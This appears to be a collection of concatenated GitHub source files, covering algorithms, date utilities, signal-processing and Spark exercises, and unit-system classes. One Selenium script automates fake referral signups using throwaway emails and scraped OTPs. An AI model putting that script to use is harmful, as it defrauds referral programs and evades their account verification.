'HT' not in proc:\n template.write(' {},\\n'.format(proc))\n template.write(' ]\\n'.format(name))\n \n template.write('\\n')\n template.write('#_________________________________________________________________________________________________\\n')\n template.write('def main():\\n')\n\n template.write(' ### run analyses \\n')\n template.write(' for ns, bs in sel_bases.iteritems():\\n')\n template.write(' listOfProcesses = []\\n')\n template.write(' block = collections.OrderedDict()\\n')\n template.write(' initProcesses(listOfProcesses, block)\\n')\n template.write(' producePlots(bs, listOfProcesses, block, colors, variables, ptmax, nsteps, uncertainties, ns, intLumi, delphesVersion, runFull)\\n')\n template.write('\\n')\n template.write('#_________________________________________________________________________________________________\\n')\n template.write('if __name__ == \"__main__\": main()\\n')\n \n os.system('chmod u+x {}'.format(analysisFile))\n\n#______________________________________________________________________________\ndef split_comma_args(args):\n new_args = []\n for arg in args:\n new_args.extend( arg.split(',') )\n return new_args\n#______________________________________________________________________________\nif __name__ == '__main__': \n main()\n","repo_name":"selvaggi/HiggsAnalysisFCC","sub_path":"createAnalysis.py","file_name":"createAnalysis.py","file_ext":"py","file_size_in_byte":5956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19192215699","text":"if __name__ == '__main__':\n num = int(input())\n\n data = []\n count = 0\n for _ in range(num):\n data.append(int(input()))\n count += 1\n\n data.sort()\n\n flag = 1\n max_total = 0\n for idx in range(len(data)):\n total = count * data[idx]\n count -= 1\n if max_total < total:\n max_total = total\n\n print(max_total)\n","repo_name":"Leetaihaku/Algorithm","sub_path":"rope/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4147029553","text":"# -*- coding:utf-8 -*-\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib\r\n\r\nfrom base.ask import ASKcoder\r\nfrom base.channel import CtlChannel,NoiseFliter\r\nfrom base.data import DataPack\r\nfrom base.dynamic import HisDataGrp,DynPlayer\r\n\r\n\r\n# 实例化各类转换器\r\nASK = ASKcoder()\r\nchn = CtlChannel()\r\nnflt = NoiseFliter()\r\n# 实例化历史数据存储器\r\nhisdata = HisDataGrp()\r\n# 实例化动态播放器\r\ndplayer = DynPlayer()\r\n# 原始信号包\r\npack = DataPack()\r\n\r\n# 中央转换函数\r\nT = [\r\n ASK.encode, # ASK编码\r\n chn.transport, # 信道传输\r\n nflt.fliter, # 噪声过滤\r\n ASK.decode_stage1, # 相干解调\r\n ASK.decode_stage2, # 低通滤波\r\n ASK.decode_stage3 # 抽样判决\r\n]\r\nlenth = len(T)\r\n# 一共lenth+1个图\r\n\r\n# 根据要求生成采样信号包\r\npack.datagen([1,0,1,0,1,0,1,0,1,0])\r\n# pack.datagen()\r\n# 添加信号到hisdata\r\nhisdata.addData(pack)\r\n\r\n# [2..lenth+1]\r\nfor i in range(2,lenth+2):\r\n # 数据转换\r\n pack = T[i-2](pack)\r\n # 添加数据\r\n hisdata.addData(pack)\r\n print(pack.comments)\r\n\r\n\r\n# 设置动态播放器驱动流\r\ndplayer.setXX(pack.t)\r\n\r\nprint(\"play hisdata\")\r\n\r\n# 播放传输过程\r\n# dplayer.play(hisdata=hisdata,xlims=(0,pack.grpsize))\r\ndplayer.autoplay(hisdata=hisdata,xlims=(0,pack.grpsize))\r\n\r\n","repo_name":"SavenNeer/PySiiS","sub_path":"demo3.py","file_name":"demo3.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"73742528872","text":"from calendar import timegm\nfrom datetime import datetime, timedelta, time, date\n\nimport pytz\n\n\nclass DateUtils:\n DEFAULT_TIME_ZONE = pytz.timezone('UTC')\n DEFAULT_DATETIME_FORMAT = \"%Y-%m-%d %H:%M:%S\"\n DEFAULT_DATETIME_FORMAT_MSEC = \"%Y-%m-%d %H:%M:%S.%fms\"\n DEFAULT_DATETIME_FORMAT_MCSEC = \"%Y-%m-%d %H:%M:%S.%fmcs\"\n DEFAULT_DATE_FORMAT = \"%Y-%m-%d\"\n KDB_DATE_FORMAT = \"%Y.%m.%d\"\n KDB_DATETIME_FORMAT = \"%Y.%m.%dD%H:%M:%S\"\n KDB_DATETIME_FORMAT_MCSEC = \"%Y.%m.%dD%H:%M:%S.%fmcs\"\n\n _ALL_DATE_PATTERNS = None\n\n MIN_DATE = datetime(1900, 1, 1)\n\n def __init__(self):\n pass\n\n @staticmethod\n def int_to_datetime(time: int):\n \"\"\"\n :param time: long java time format\n :return: datetime\n \"\"\"\n return datetime.utcfromtimestamp(time / 1e3) if time else time\n\n @staticmethod\n def datetime_to_int(dt: datetime):\n \"\"\"\n :param dt: datetime\n :return: time in ms as long (java format)\n \"\"\"\n return int(timegm(dt.timetuple()) * 1e3 + dt.microsecond / 1e3)\n\n @staticmethod\n def get_as_string(dt, pattern=DEFAULT_DATETIME_FORMAT):\n if isinstance(dt, (datetime, date)):\n strftime = dt.strftime(pattern)\n if pattern.endswith(\".%fms\"):\n strftime = strftime[:-5]\n if pattern.endswith(\".%fmcs\"):\n strftime = strftime[:-3]\n return strftime\n elif isinstance(dt, str):\n tmp = DateUtils.__get_datetime_with_pattern(dt, is_process_parsing=False)[0]\n if tmp: # here we process if user passed: 'now', '-1d' etc.\n assert isinstance(tmp, datetime)\n return DateUtils.get_as_string(tmp, pattern)\n else:\n return dt\n else:\n return dt\n\n @staticmethod\n def get_datetime(date_time):\n if isinstance(date_time, str):\n return DateUtils.__get_datetime_with_pattern(date_time)[0]\n else:\n return date_time\n\n @staticmethod\n def get_datetime_ls(date_time_ls):\n return [DateUtils.get_datetime(idate) for idate in date_time_ls]\n\n @staticmethod\n def __get_datetime_with_pattern(date_time: str, is_process_parsing=True):\n lowered = date_time.lower()\n if lowered == 'now' or lowered == 'today':\n return DateUtils.get_now(), DateUtils.DEFAULT_DATETIME_FORMAT\n\n if date_time.startswith('-'):\n # time_unit_to_subtract = DateUtils.TIME_UNIT_DICT[date_as_string[-1]]\n # if time_unit_to_subtract is None:\n # raise ValueError(\"can't identify time_unit_to_subtract {}\", date_as_string[-1])\n delta = None\n amount_to_subtract = int(date_time[1:-1])\n if lowered[-1] == 'd':\n delta = timedelta(days=amount_to_subtract)\n elif lowered[-1] == 'h':\n delta = timedelta(hours=amount_to_subtract)\n elif lowered[-1] == 'w':\n delta = timedelta(weeks=amount_to_subtract)\n\n if delta is None:\n raise ValueError(\"can't identify time_unit_to_subtract '{0}'\".format(date_time[-1]))\n\n return DateUtils.get_now() - delta, DateUtils.DEFAULT_DATETIME_FORMAT\n\n if is_process_parsing:\n result = None\n for pat in DateUtils._all_dateformats():\n try:\n result = datetime.strptime(date_time, pat), pat\n break\n except ValueError:\n pass\n\n if result is None:\n raise ValueError(\"Unable transform value '{0}' into datetime\".format(date_time))\n\n return result\n else:\n return None, DateUtils.DEFAULT_DATETIME_FORMAT\n\n @staticmethod\n def _all_dateformats():\n if DateUtils._ALL_DATE_PATTERNS is None:\n DateUtils._ALL_DATE_PATTERNS = (list)(DateUtils._dateformats_generator())\n return DateUtils._ALL_DATE_PATTERNS\n\n @staticmethod\n def _dateformats_generator():\n \"Yield all combinations of valid date formats.\"\n years = (\"%Y\",)\n months = (\"%m\", \"%b\")\n days = (\"%d\",)\n times = (\"\", \"%H:%M:%S\", \"%H:%M:%S.%f\", \"%H:%M\")\n separators = {\" \": (\"-\", \"/\", \".\"), \"D\": \".\"}\n\n for year in years:\n for month in months:\n for day in days:\n for args in ((year, month, day), (month, day, year)):\n for dt_sep in separators.keys():\n for d_sep in separators[dt_sep]:\n date = d_sep.join(args)\n for time in times:\n yield dt_sep.join((date, time)).strip()\n\n @staticmethod\n def set_time(date, hour=0, minute=0, second=0, microsecond=0):\n \"\"\"\n Set new time to datetime object\n :param date:\n :param hour:\n :param minute:\n :param second:\n :param microsecond:\n :return:\n \"\"\"\n return datetime.combine(date.date() if isinstance(date, datetime) else date,\n time(hour=hour, minute=minute, second=second, microsecond=microsecond))\n\n @staticmethod\n def format_kdb_date(dt):\n return DateUtils.__format_kdb(dt, DateUtils.KDB_DATE_FORMAT)\n\n @staticmethod\n def format_kdb_datetime(dt):\n return DateUtils.__format_kdb(dt, DateUtils.KDB_DATETIME_FORMAT)\n\n @staticmethod\n def format_kdb_datetime_msec(dt):\n return DateUtils.__format_kdb(dt, DateUtils.KDB_DATETIME_FORMAT + \".%fms\")\n\n @staticmethod\n def format_kdb_datetime_usec(dt):\n return DateUtils.__format_kdb(dt, DateUtils.KDB_DATETIME_FORMAT + \".%f\")\n\n @staticmethod\n def __format_kdb(dt, pattern):\n if isinstance(dt, str):\n dt = DateUtils.get_datetime(dt)\n return DateUtils.get_as_string(dt, pattern)\n\n @staticmethod\n def daterange(start_date, end_date):\n \"\"\"\n Generate range of dates for given interval. It includes also start and end dates.\n :param start_date: starting date\n :param end_date: terminal date\n :return: generated range of dates (onlt dates without time)\n \"\"\"\n for n in range(int((end_date - start_date).days) + 1):\n yield (start_date + timedelta(n)).date()\n\n @staticmethod\n def get_now():\n return datetime.now()\n\n @staticmethod\n def round_time(time, period_msec):\n \"\"\"\n Rounds time to nearest period's end.\n __round_time('2017-01-01 13:31:23', timedelta(minutes=5).total_seconds()*10**3) -> '2017-01-01 13:30:00'\n :param time: datetime object\n :param period_msec: period in msec\n :return:\n \"\"\"\n if period_msec == 0:\n return time\n\n t_msec = time.microsecond / 1000 + (time.second + time.minute * 60 + time.hour * 3600 + time.day * 86400) * 1000\n return time - timedelta(milliseconds=(t_msec % period_msec))\n\n @staticmethod\n def round_time_by(dt=None, value: int = -1, units='hours'):\n if dt is None: dt = datetime.now()\n\n if units == 'hours':\n delta = timedelta(minutes=dt.minute, seconds=dt.second, microseconds=dt.microsecond)\n elif units == 'minutes':\n delta = timedelta(seconds=dt.second, microseconds=dt.microsecond)\n elif units == 'seconds':\n delta = timedelta(microseconds=dt.microsecond)\n else:\n raise ValueError('units can be only hours, minutes or seconds')\n dt -= delta\n\n if value < 0:\n args = {units: getattr(dt, units[:-1]) % abs(value)}\n dt -= timedelta(**args)\n elif value > 0:\n args = {units: getattr(dt, units[:-1]) % abs(value) + value}\n dt += timedelta(**args)\n return dt\n\n @staticmethod\n def splitOnIntervals(start_date, end_date, amount, return_split_dates_only=False):\n diff_secs = end_date.timestamp() - start_date.timestamp()\n result = []\n next = start_date\n for i in range(amount - 1):\n prev = next\n next += timedelta(seconds=diff_secs / amount)\n result.append((prev, next))\n result.append((next, end_date))\n return result if not return_split_dates_only else [pair[1] for pair in result][:-1]\n\n\ndef hour_in_range(h, start, end):\n \"\"\"\n Check if hour h in range [start, end]\n \"\"\"\n if start > end:\n return ((h >= start) & (h <= 23)) | ((h >= 0) & (h <= end))\n return (start <= h) & (h <= end)\n","repo_name":"dmarienko/Qube","sub_path":"qube/utils/DateUtils.py","file_name":"DateUtils.py","file_ext":"py","file_size_in_byte":8591,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"40530234507","text":"import os\nimport numpy as np\nscript_dir = os.path.dirname(os.path.abspath(__file__))\nerror_path = os.path.join(script_dir, 'error_checking')\nmechs = [os.path.join(error_path, x) for x in os.listdir(error_path) if os.path.isdir(os.path.join(error_path, x))]\n\nrtol = 1e-6\natol = 1e-10\n\nerr_dicts = {}\nfor mech in mechs:\n mech_name = os.path.basename(os.path.normpath(mech))\n #get file list\n files = [os.path.join(mech,x) for x in os.listdir(mech) if os.path.isfile(os.path.join(mech,x)) if x.endswith('.npz')]\n err_dicts[mech_name] = {}\n for file in files:\n arrs = np.load(file)\n for name in arrs:\n if 'value' in name or 'component' in name or 'store' in name:\n continue\n errs = arrs[name]\n values = arrs[name + '_value']\n errs = errs / (atol + rtol * np.abs(values))\n\n precs = None\n if 'rop_net' in name:\n #calculate the precision norms\n precs = arrs['rop_component'] / (atol + rtol * np.abs(values))\n\n if name in err_dicts[mech_name]:\n err_dicts[mech_name][name] = np.maximum(err_dicts[mech_name][name], errs)\n if 'rop_net' in name:\n update_locs = np.where(err_dicts[mech_name][name] == errs)\n #update the precision norms at these locations\n err_dicts[mech_name]['rop_component'][update_locs] = precs[update_locs]\n else:\n err_dicts[mech_name][name] = errs\n if precs is not None:\n err_dicts[mech_name]['rop_component'] = precs\n\ndef format(val):\n return '{:1.2e}'.format(val)\n\nkeyarr = ['fwd', 'rev', 'net', 'comp', 'wdot']\nmech_arr = ['H2', 'CH4', 'C2H4', 'IC5H11OH']\nfor mech in sorted(err_dicts, key=lambda x:mech_arr.index(next(y for y in mech_arr if y in x))):\n print(mech)\n for name in sorted(err_dicts[mech], key=lambda x:keyarr.index(next(y for y in keyarr if y in x))):\n if 'l2' in name:\n continue\n err_vals = err_dicts[mech][name][np.where(np.logical_not(\n np.isnan(err_dicts[mech][name])))]\n if 'wdot' in name:\n print('tdot', format(err_vals[0]))\n print('species', format(np.linalg.norm(err_vals[1:], ord=np.inf)))\n elif 'rop_net' in name:\n #find prevision range\n maxv = np.linalg.norm(err_vals, ord=np.inf)\n maxind = np.where(err_dicts[mech][name] == maxv)[0][0]\n print(name, format(maxv))\n print('rop_component', format(err_dicts[mech]['rop_component'][maxind]))\n elif 'component' not in name:\n print(name, format(np.linalg.norm(err_vals, ord=np.inf)))","repo_name":"arghdos/NCM_paper","sub_path":"scripts/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42556681631","text":"# https://leetcode.com/problems/number-of-1-bits/\n\nclass Solution:\n def hammingWeight(self, n: int) -> int:\n # solution: bitmasking\n\n num_ones = 0\n while n:\n bit = n & 1\n if bit: num_ones += 1\n n >>= 1\n\n return num_ones\n \n","repo_name":"yukikongju/LeetCodeTraining","sub_path":"LeetCodePython/191-NumberOf1Bits-Bitmasking.py","file_name":"191-NumberOf1Bits-Bitmasking.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22706103699","text":"from pyspark.sql import SparkSession\nimport cml.data_v1 as cmldata\nfrom env import S3_ROOT, S3_HOME, CONNECTION_NAME\n\nconn = cmldata.get_connection(CONNECTION_NAME)\nspark = conn.get_spark_session()\n\n# Set environment variables\nimport os\nos.environ[\"S3_HOME\"] = S3_HOME\nos.environ[\"HADOOP_ROOT_LOGGER\"] = \"ERROR\"\n\n# Read the raw data from HDFS:\nrides = spark.read.csv(S3_ROOT + \"/duocar/raw/rides/\", header=True, inferSchema=True)\ndrivers = spark.read.csv(S3_ROOT + \"/duocar/raw/drivers/\", header=True, inferSchema=True)\nriders = spark.read.csv(S3_ROOT + \"/duocar/raw/riders/\", header=True, inferSchema=True)\n\n\n# ## Exercises\n\n# (1) Extract the hour of day and day of week from `rides.date_time`.\n\nfrom pyspark.sql.functions import hour, dayofweek\nrides \\\n .withColumn(\"hour_of_day\", hour(\"date_time\")) \\\n .withColumn(\"day_of_week\", dayofweek(\"date_time\")) \\\n .select(\"date_time\", \"hour_of_day\", \"day_of_week\") \\\n .show(5)\n\n# (2) Convert `rides.duration` from seconds to minutes.\n\nfrom pyspark.sql.functions import col, round\nrides \\\n .withColumn(\"duration_in_minutes\", round(col(\"duration\") / 60, 1)) \\\n .select(\"duration\", \"duration_in_minutes\") \\\n .show(5)\n\n# (3) Convert `rides.cancelled` to a Boolean column.\n\n# Using the `cast` method:\nrides \\\n .withColumn(\"cancelled\", col(\"cancelled\").cast(\"boolean\")) \\\n .select(\"cancelled\") \\\n .show(5)\n\n# Using a Boolean expression:\nrides \\\n .withColumn(\"cancelled\", col(\"cancelled\") == 1) \\\n .select(\"cancelled\") \\\n .show(5)\n\n# (4) Create an integer column named `five_star_rating` that is 1.0 if the ride\n# received a five-star rating and 0.0 otherwise.\n\n# Using a Boolean expression and the `cast` method:\nrides \\\n .withColumn(\"five_star_rating\", (col(\"star_rating\") > 4.5).cast(\"double\")) \\\n .select(\"star_rating\", \"five_star_rating\") \\\n .show(10)\n\n# Using the `when` function and the `when` and `otherwise` methods:\nfrom pyspark.sql.functions import when\nrides \\\n .withColumn(\"five_star_rating\", when(col(\"star_rating\").isNull(), None).when(col(\"star_rating\") == 5, 1.0).otherwise(0.0)) \\\n .select(\"star_rating\", \"five_star_rating\") \\\n .show(10)\n\n# **Note:** Beware of null values when generating new columns.\n\n# (5) Create a new column containing the full name for each driver.\n\nfrom pyspark.sql.functions import concat_ws\ndrivers \\\n .withColumn(\"full_name\", concat_ws(\" \", \"first_name\", \"last_name\")) \\\n .select(\"first_name\", \"last_name\", \"full_name\") \\\n .show(5)\n\n# (6) Create a new column containing the average star rating for each driver.\n\ndrivers \\\n .withColumn(\"star_rating\", round(col(\"stars\") / col(\"rides\"), 2)) \\\n .select(\"rides\", \"stars\", \"star_rating\") \\\n .show(5)\n\n# (7) Find the rider names that are most similar to `Brian`. **Hint:** Use the\n# [Levenshtein](https://en.wikipedia.org/wiki/Levenshtein_distance) function.\n\nfrom pyspark.sql.functions import lit, levenshtein\nriders \\\n .select(\"first_name\") \\\n .distinct() \\\n .withColumn(\"distance\", levenshtein(col(\"first_name\"), lit(\"Brian\"))) \\\n .sort(\"distance\") \\\n .show()\n\n\n# ## Cleanup\n\n# Stop the SparkSession:\nspark.stop()\n","repo_name":"bshimel-cloudera/edu-cml-on-cdp","sub_path":"exercises/code/python/solutions/04_columns_solutions.py","file_name":"04_columns_solutions.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"74261741672","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pywt\nimport pandas as pd\nimport librosa\nimport os\n\n\ndef load_audio_files(place, train_test, hammer='small'):\n df = pd.read_csv(\"annotations.csv\")\n df2 = df[df['place'] == place]\n df3 = df2[df2['train_test'] == train_test]\n\n print(len(df3))\n df3.to_csv('temp.csv')\n\n X = []\n for i, (path, file_name, h_t) in enumerate(zip(df3['path'],\n df3['file_name'],\n df3['hammer_type'])):\n if h_t == hammer:\n file_path = os.path.join(path, file_name)\n signal, sr = librosa.load(file_path)\n print(f\"{i}: {file_name}, sr={sr}, n_frames={len(signal)}\")\n X.append(signal)\n print(file_name)\n\n return X, sr\n\n\nif __name__ == \"__main__\":\n X, sr = load_audio_files('crack_1', 'train', 'small')\n wavlist = pywt.wavelist(kind='continuous')\n # print(wavlist)\n wavelet_type = 'cmor1.5-1.0' # 'cmor1.5-1.0'\n # wav = pywt.ContinuousWavelet(wavelet_type)\n # int_psi, x = pywt.integrate_wavelet(wav, precision=8)\n # plt.plot(x, int_psi)\n # plt.show()\n # print(len(int_psi))\n fs = sr\n nq_f = fs / 2.0\n # print(fs)\n # print(nq_f)\n\n freqs = np.linspace(1, nq_f, 50)\n freqs_rate = freqs / fs\n scales = 1 / freqs_rate\n scales = scales[::-1]\n # print(len(scales))\n\n frequencies_rate = pywt.scale2frequency(scale=scales, wavelet=wavelet_type)\n # print(frequencies_rate)\n\n frequencies = frequencies_rate * fs\n # print(frequencies)\n\n if len(X) > 20:\n num = 20\n else:\n num = len(X)\n\n for i in range(0, num, 4):\n signal = X[i]\n cwtmatr, freqs_rate = pywt.cwt(signal, scales=scales, wavelet=wavelet_type)\n # print(cwtmatr.shape)\n # plt.subplot(1, 5, i)\n plt.figure()\n plt.imshow(np.log10(np.abs(cwtmatr)), aspect='auto')\n\n plt.show()\n plt.close()\n\n\n\n\n\n","repo_name":"tozkosa/valerio_pytorch","sub_path":"cwt_prac.py","file_name":"cwt_prac.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11185869163","text":"\nT = int(input())\nfor tc in range(1,T+1):\n N, M = map(int,input().split())\n graph = [[0]*(N+1) for _ in range(N+1)] # 1~N 가지 이용\n\n graphL = [[]*(N+1) for _ in range(N+1)]\n\n edges = list(map(int,input().split()))\n # 그래프에 간선정보 update\n for i in range(0,len(edges),2):\n graph[edges[i]][edges[i+1]] = 1\n graph[edges[i+1]][edges[i]] = 1\n graphL[edges[i]].append(edges[i+1])\n graphL[edges[i+1]].append(edges[i])\n\n visited = [0]*(N+1)\n\n\n result = 0\n\n # 방문 안한 곳이 있다면, 한 개의 조임\n for i in range(1,N+1):\n if visited[i] == 0:\n stack = [i]\n visited[i] = 1\n result += 1\n while stack:\n cur = stack[-1]\n\n for neighbor in graphL[cur]:\n if visited[neighbor]==0 :\n stack.append(neighbor)\n visited[neighbor] = 1\n break\n else:\n stack.pop()\n print(f\"#{tc} {result}\")\n","repo_name":"jisy2718/_algorithm","sub_path":"SWEA/5248_그룹나누기.py","file_name":"5248_그룹나누기.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2555286800","text":"\"\"\"\nЗадание:\nДаны отрезки на прямой. Найти такие точки, которые лежат на всех заданных отрезках. Найденное множество должно быть минимальным по размеру.\nФормат входных данных:\nПервая строка - количество отрезков\nПоследующие строки - координаты начала и конца отрезка, разделенные пробелом\nФормат выходных данных:\nПервая строка - количество найденных точек\nВторая строка - найденные точки, разделенные пробелом\n\n\nSample Input 1:\n3\n1 3\n2 5\n3 6\n\nSample Output 1:\n1\n3 \n\nSample Input 2:\n4\n4 7\n1 3\n2 5\n5 6\n\nSample Output 2:\n2\n3 6 \n\"\"\"\n\n# Решение\n\nd = [[int(x) for x in input().split()] for i in range(int(input()))]\nd.sort(key=lambda x: max(x[1], x[0]))\ns, i = set(), 1\nwhile d:\n if len(d) == 1:\n s.add(d[0][1])\n del d[0]\n continue\n if d[i][0] <= d[i-1][1]:\n d[i][1] = d[i-1][1]\n del d[i-1]\n continue\n s.add(d[i-1][1])\n del d[i - 1]\n\nprint(len(s))\nprint(*s)","repo_name":"IBRA110/Algorithms","sub_path":"Cover_segments_with_points.py","file_name":"Cover_segments_with_points.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42641236217","text":"import ConfigParser\n\n__all__ = ['config']\n\n\ndef read_config(config_file='app.ini'):\n parser = ConfigParser.ConfigParser()\n parser.read([config_file])\n site = {}\n for section in parser.sections():\n site[section] = dict(parser.items(section))\n\n return site\n\nconfig = read_config()\n","repo_name":"hyperweek/hwio-puppet","sub_path":"saas/files/bundle_config.py","file_name":"bundle_config.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6374642763","text":"#! /usr/bin/python3\n\nfrom selenium import webdriver\nfrom time import sleep\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport unittest \n\ncount = int(input(\"Enter how many referells you want = \"))\nlink = input(\"Enter your refrell link here : \")\nfor i in range(count):\n driver1 = webdriver.Firefox()\n driver = webdriver.Firefox()\n driver1.get(\"https://www.temporary-mail.net/\")\n print(\"Opening mail site....\")\n driver.get(link)\n print(\"Opening your link....\")\n sleep(5)\n print(\"Fetching temporary mail...\")\n email = driver1.find_element_by_css_selector(\"input[type='text']\").get_attribute(\"value\")\n print(\"Mail fetched successfully...\")\n sleep(2)\n driver.find_element_by_link_text('Log In / Register').click()\n sleep(1)\n driver.find_element_by_css_selector(\"input[type='text']\").send_keys(email)\n print(\"Entering mail....\")\n sleep(1)\n driver.find_element_by_class_name(\"r-adyw6z\").click()\n print(\"Waiting for otp...\")\n sleep(50)\n\n print(\"Fetching recieved mail...\")\n venue = WebDriverWait(driver1, 10).until(EC.element_to_be_clickable((By.XPATH, '//a[@class=\"link open\"]')))\n link = venue.get_attribute('href')\n driver2 = webdriver.Firefox()\n driver2.get(link)\n sleep(10)\n driver1.close()\n print(\"Getting otp...\")\n text1 = driver2.find_elements_by_xpath(\"//span\")\n for el in text1:\n if (len(el.text)==6):\n otp = el.text\n print(\"OTP fetched successfully....\")\n list1 = driver.find_elements_by_css_selector(\"input[type='text']\")\n i = 0\n print(\"Entering otp....\")\n for el in list1:\n el.send_keys(otp[i])\n i += 1\n sleep(2)\n print(\"refer successfull...\")\n sleep(5)\n driver.close()\n driver2.close()\n print(\"doing one more refer....\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# xpath = '//a[@class=\"ng-binding\"]'\n# wait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, xpath)))\n# links = [venue.get_attribute('href') for venue in driver.find_elements_by_xpath(xpath)]\n\n# for link in links:\n# driver.get(link)\n# hours = driver.find_element_by_xpath('//li[@id=\"hours\"]')\n# hours.click()\n# hoursTable = driver.find_elements_by_css_selector(\"table.opening-times tr\")\n# for row in hoursTable:\n# print(row.text)","repo_name":"souravkgit/SeleniumAutomation","sub_path":"autoclicker.py","file_name":"autoclicker.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6478129844","text":"import pint\nimport pint_pandas\n\nregistry = pint.UnitRegistry()\npint_pandas.PintType.ureg = registry\n\n\nclass Dimension(pint.util.UnitsContainer):\n def __init__(self, length=None, mass=None, time=None):\n args = {}\n if length:\n args['[length]'] = length\n if mass:\n args['[mass]'] = mass\n if time:\n args['[time]'] = time\n\n super().__init__(**args)\n\n\nclass Dimensionless(Dimension):\n def __init__(self):\n super().__init__()\n\n\nclass Angle(Dimension):\n def __init__(self):\n super().__init__()\n\n\nclass Length(Dimension):\n def __init__(self):\n super().__init__(length=1)\n\n\nclass Mass(Dimension):\n def __init__(self):\n super().__init__(mass=1)\n\n\nclass Time(Dimension):\n def __init__(self):\n super().__init__(time=1)\n\n\nclass Force(Dimension):\n def __init__(self):\n super().__init__(length=1, mass=1, time=-2)\n\n\nclass Pressure(Dimension):\n def __init__(self):\n super().__init__(length=-1, mass=1, time=-2)\n\n\nclass Velocity(Dimension):\n def __init__(self):\n super().__init__(length=1, time=-1)\n\n\nclass Acceleration(Dimension):\n def __init__(self):\n super().__init__(length=1, time=-2)\n\n\nclass Density(Dimension):\n def __init__(self):\n super().__init__(length=-3, mass=1)\n\n\nclass Energy(Dimension):\n def __init__(self):\n super().__init__(length=2, mass=1, time=-2)\n\n\nclass Power(Dimension):\n def __init__(self):\n super().__init__(length=2, mass=1, time=-3)\n\n\nclass Unit(registry.Unit):\n pass\n\n\nclass Quantity(registry.Quantity):\n pass\n\n\nclass UnitSystem:\n def __init__(\n self, length, mass, time, angle, force=None, pressure=None,\n velocity=None, acceleration=None, density=None, energy=None,\n power=None):\n self.length = length\n self.mass = mass\n self.time = time\n self.angle = angle\n\n self.force = force\n self.pressure = pressure\n self.velocity = velocity\n self.acceleration = acceleration\n self.density = density\n self.energy = energy\n self.power = power\n\n @property\n def dimensionality_map(self):\n return {\n Dimensionless(): Unit(''),\n Force(): self.force,\n Pressure(): self.pressure,\n Velocity(): self.velocity,\n Acceleration(): self.acceleration,\n Density(): self.density,\n Energy(): self.energy,\n Power(): self.power,\n }\n\n @property\n def length(self):\n return self._length\n\n @length.setter\n def length(self, value):\n self._length = self._validate_unit(value, Length())\n\n @property\n def mass(self):\n return self._mass\n\n @mass.setter\n def mass(self, value):\n self._mass = self._validate_unit(value, Mass())\n\n @property\n def time(self):\n return self._time\n\n @time.setter\n def time(self, value):\n self._time = self._validate_unit(value, Time())\n\n @property\n def angle(self):\n return self._angle\n\n @angle.setter\n def angle(self, value):\n self._angle = self._validate_unit(value, Angle())\n\n @property\n def force(self):\n return self._force or self.mass * self.acceleration\n\n @force.setter\n def force(self, value):\n self._force = self._validate_unit(value, Force())\n\n @property\n def pressure(self):\n return self._pressure or self.force / (self.length ** 2)\n\n @pressure.setter\n def pressure(self, value):\n self._pressure = self._validate_unit(value, Pressure())\n\n @property\n def velocity(self):\n return self._velocity or self.length / self.time\n\n @velocity.setter\n def velocity(self, value):\n self._velocity = self._validate_unit(value, Velocity())\n\n @property\n def acceleration(self):\n return self._acceleration or self.velocity / self.time\n\n @acceleration.setter\n def acceleration(self, value):\n self._acceleration = self._validate_unit(value, Acceleration())\n\n @property\n def density(self):\n return self._density or self.mass / (self.length ** 3)\n\n @density.setter\n def density(self, value):\n self._density = self._validate_unit(value, Density())\n\n @property\n def energy(self):\n return self._energy or self.force * self.length\n\n @energy.setter\n def energy(self, value):\n self._energy = self._validate_unit(value, Energy())\n\n @property\n def power(self):\n return self._power or self.energy / self.time\n\n @power.setter\n def power(self, value):\n self._power = self._validate_unit(value, Power())\n\n def convert(self, quantity):\n if quantity.dimensionless:\n return quantity\n\n if not isinstance(quantity, registry.Quantity):\n raise TypeError(f'Unrecognized quantity \"{quantity}\"')\n\n units = self.dimensionality_map.get(\n quantity.dimensionality) or self._get_base_units(quantity.units)\n\n return quantity.to(units)\n\n def _get_base_units(self, units):\n base_units = Unit('')\n for dimension, order in units.dimensionality.items():\n base_units = base_units * (getattr(self, dimension[1:-1]) ** order)\n return base_units\n\n def _validate_unit(self, unit, dimensionality):\n if unit is None:\n return unit\n\n if isinstance(unit, str):\n try:\n unit = Unit(unit)\n except pint.errors.UndefinedUnitError:\n raise ValueError(f'Unrecognized unit {unit}')\n if not isinstance(unit, Unit):\n raise TypeError(f'Unrecognized unit type {unit}')\n\n if unit.dimensionality != dimensionality:\n raise ValueError(\n 